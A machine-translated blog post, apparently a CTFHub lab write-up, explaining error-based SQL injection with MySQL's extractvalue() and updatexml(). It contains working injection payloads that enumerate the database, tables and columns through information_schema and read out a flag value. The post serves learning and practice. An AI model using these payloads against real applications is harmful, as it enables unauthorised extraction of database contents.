当前位置:网站首页>SQL error injection 1
SQL error injection 1
2022-06-11 18:09:00 【Durian egg tart】
When an error occurs in the input statement , The corresponding error will be output to the front end .SQL Error injection is based on this condition .
Commonly used error reporting function :updatexml(),extractvalue(),floor(),exp()
among extractvalue() Usage is
extractvalue(xml_str,Xpath), It's from xml Query in Xpath Format string , And return the result
however ,Xpath Cannot be a combination ~ or # String , Otherwise, an error will be reported , An error message will echo the entire string of the error , Therefore, you can use the error echo to find the desired information (xml_str You can fill in at will ), such as ,ctfhub This question CTFHub

Input :
1 and extractvalue(1,concat(0x7e,database()))#Get the current database by sqli

Then find the tables contained in the current database :
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli')))# Get the results 
You know sqli In the database , In addition to tables news, And the watch flag,
Look up the fields in the table :
1 and extractvalue(2,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')))#obtain :

You can see the table flag There are only fields in flag
So type :
1 and extractvalue(1,concat(0x7e,(select flag from flag)))#Get the results :

It should be noted that ,xpath Echo upper limit 32 position
about updatexml() function , The format is updatexml(xml,Xpath,news), Is to find and replace xml In the document Xpath The format string is news Format , among Xpath Utilization and extractvalue similar , Therefore, the injection method is just an additional one that can be used at will news The input of , For example, for the above topic , Input :
1 and updatexml(1,concat(0x7e,(select flag from flag)),1)# I get the answer :
边栏推荐
- Speed adjustment of tidb DDL
- There are so many open source projects. This time, I'll show you the differences between different versions and understand the meaning of alpha version, beta version and RC version
- Jsfinder, wafw00f installation, nmap configuration (msvcr120.dll file is missing)
- Line up to pick up the express. At this meeting, I sorted out all kinds of code sets
- Difference between require and ES6 import
- Expérience initiale du moteur de segmentation de l'araignée mariadb
- [piecemeal knowledge] [network composition] the mobile phone can be connected to the campus network, but the computer can't
- R language to find missing value location of data set
- 网络安全威胁情报体系
- 10 ways to reset any user password
猜你喜欢

Say no to credit card fraud! 100 lines of code to realize simplified real-time fraud detection

ADB command learning notes

网络安全威胁情报体系

智能化整体图例,布线、安防、广播会议、电视、楼宇、消防、电气图的图例【转自微信公众号弱电课堂】

【先收藏,早晚用得到】49个Flink高频面试题系列(二)

光纤熔接知识汇总【转载自微信公众号弱电智能化工程2018】

Mysql8 installation, Navicat installation, sqli labs setup

【深度学习基础】神经网络的学习(3)

Chorus翻译

密码学概述
随机推荐
ArrayList collection, object array
The tle6389 step-down DC-DC switch controller has high efficiency in the whole load range of 1mA to 2.5A - keshijin mall
Global and Chinese markets of solid polymer aluminum capacitors 2022-2028: Research Report on technology, participants, trends, market size and share
Service learning notes 03 front desk service practice
Mysql8 installation, Navicat installation, sqli labs setup
spawn ./ gradlew EACCES at Process. ChildProcess._ handle. onexit
6-1 read string (*) from file
【MapReduce】一个完整MR程序案例教你如何用IDEA打包及运行
开源项目那么多,这次带你了解个版本的区别,明白alpha版、beta版、rc版是什么意思
【先收藏,早晚用得到】100个Flink高频面试题系列(一)
TestPattern error
There are so many open source projects. This time, I'll show you the differences between different versions and understand the meaning of alpha version, beta version and RC version
Initial experience of MariaDB spider sharding engine
Test basis: black box test
Global and Chinese market of web content management software 2022-2028: Research Report on technology, participants, trends, market size and share
10 ways to reset any user password
谈谈远程工作 | 社区征文
Getting started with Wireshark
网络安全威胁情报体系
av_ read_ The return value of frame is -5 input/output error